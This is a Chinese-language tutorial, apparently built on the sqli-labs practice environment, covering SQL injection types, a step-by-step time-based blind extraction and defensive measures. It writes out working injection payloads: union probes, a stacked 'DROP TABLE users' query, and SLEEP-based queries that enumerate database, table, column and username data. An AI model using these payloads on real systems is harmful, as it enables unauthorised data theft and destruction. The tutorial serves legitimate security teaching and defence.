SQL注入--sqli-labs-master
字数 1359 2025-08-18 11:36:53
SQL注入攻击全面解析与实战教学
1. SQL注入基础概念
1.1 SQL注入本质
SQL注入是一种通过操纵数据库查询来获取未授权数据的攻击技术。其核心原理是:
- 恶意用户通过在表单中填写包含SQL关键字的数据,使数据库执行非常规代码
- 数据"越俎代庖"做了代码才能干的事情
- 问题根源:SQL语句中代码和数据项没有严格分离
1.2 SQL注入攻击总体思路
- 寻找SQL注入点:识别应用程序中与数据库交互的输入点
- 判断服务器和数据库类型:不同数据库的注入技术有所差异
- 实施针对性攻击:根据识别到的环境选择适当的注入技术
2. SQL注入攻击模式详解
2.1 盲注(Blind Injection)
当SQL语句执行后,选择的数据不能回显到前端页面时使用。
2.1.1 基于布尔的盲注(Boolean-based)
- 适用场景:页面返回结果只有两种状态(正常/错误)
- 攻击方法:构造SQL判断语句,通过页面返回结果(True/False)推断数据
- 示例:
?id=1' AND 1=1--(正常) vs?id=1' AND 1=2--(错误)
2.1.2 基于时间的盲注(Time-based)
- 适用场景:页面不会返回错误信息,只显示单一界面
- 攻击方法:利用延时函数(sleep/benchmark),通过响应时间判断
- 典型特征:使用sleep函数制造时间延迟
- 示例payload:
?id=1' AND IF((ASCII(SUBSTR((SELECT database()),1,1))=115), SLEEP(5), 3)- 如果第一个字符ASCII码为115('s'),则延迟5秒
- 否则立即返回
2.2 基于报错的注入(Error-based)
- 适用场景:页面会返回错误信息或直接显示注入结果
- 攻击方法:构造会导致数据库报错的语句,从错误信息中提取数据
- 优势:通常比盲注效率更高
2.3 联合查询注入(Union-based)
- 适用场景:可以使用UNION操作符的情况下
- 攻击方法:利用UNION合并合法查询与恶意查询
- 关键点:需要确定列数匹配
- 示例:
?id=1' UNION SELECT 1,2,3--
2.4 堆查询注入(Stacked queries)
- 适用场景:可以同时执行多条语句的环境
- 攻击方法:在单个请求中执行多个SQL语句
- 示例:
?id=1'; DROP TABLE users--
3. 盲注攻击详细流程
3.1 确定注入存在
- 测试基本注入:
?id=1' AND 1=1-- ?id=1' AND 1=2-- - 测试时间盲注:
?id=1' AND IF(1=1,SLEEP(5),0)--
3.2 脱库步骤
3.2.1 判断数据库名称长度
?id=1' AND IF((LENGTH(DATABASE())=9),SLEEP(5),0)--
- 如果延迟5秒,则数据库名长度为9
3.2.2 枚举数据库名称字符
?id=1' AND IF((ASCII(SUBSTR(DATABASE(),1,1))=115),SLEEP(5),0)--
- 判断第一个字符是否为's'(ASCII 115)
- 依次判断每个字符
3.2.3 获取表名
?id=1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))=101,SLEEP(5),0)--
- 参数说明:
LIMIT x,y:第x+1个表开始,取y个表SUBSTR(str,z,d):从第z个字符开始,取d个字符
3.2.4 获取列名
?id=1' AND IF(ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1))=105,SLEEP(5),0)--
3.2.5 提取数据
?id=1' AND IF(ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),1,1))=97,SLEEP(5),0)--
4. 防御措施
- 参数化查询:使用预处理语句
- 输入验证:严格限制输入格式
- 最小权限原则:数据库账户只授予必要权限
- 错误处理:避免显示详细错误信息
- Web应用防火墙(WAF):过滤恶意输入
5. 工具推荐
- SQLMap:自动化SQL注入工具,支持所有上述注入模式
- Burp Suite:用于手动测试和漏洞验证
- OWASP ZAP:综合性安全测试工具
6. 法律与道德声明
SQL注入技术仅应用于合法授权的安全测试。未经授权的渗透测试可能违反法律。安全研究人员应遵守负责任的披露原则。